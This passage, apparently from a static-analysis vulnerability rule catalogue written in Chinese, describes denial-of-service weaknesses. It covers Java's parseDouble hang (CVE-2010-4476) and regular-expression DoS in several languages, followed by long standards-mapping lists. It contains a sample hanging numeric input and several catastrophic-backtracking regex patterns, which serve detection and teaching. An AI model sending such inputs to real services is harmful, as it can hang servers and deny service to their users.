[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[48] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_format_string
Abstract
程序会调用解析 double 类型的方法,这会导致线程被挂起。
Explanation
在实施 java.lang.Double.parseDouble() 及相关方法时出现漏洞,会导致在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] 范围内的任意数字时挂起线程。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。

例 1:下列代码使用了易受攻击的方法。

Double d = Double.parseDouble(request.getParameter("d"));


攻击者可以发送 d 参数值位于该范围(例如 "0.0222507385850720119e-00306")内的请求,致使程序在处理该请求时被挂起。

该漏洞在 Java 版本 6 Update 23 及更早版本中存在。Java 版本 6 Update 24 或更高版本不存在该漏洞。
References
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - Common Weakness Enumeration CWE ID 400
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [20] CWE ID 400
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [23] CWE ID 400
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [23] CWE ID 400
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [24] CWE ID 400
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[11] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_parse_double
Abstract
不受信任数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,攻击者可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 624
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service_regular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Microsoft Best Practices for Regular Expressions in the .NET Framework
[2] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[3] Standards Mapping - Common Weakness Enumeration CWE ID 624
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[8] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dotnet.denial_of_service_regular_expression
Abstract
不受信任数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 624
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service_regular_expression
Abstract
不受信任数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,攻击者可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service_regular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
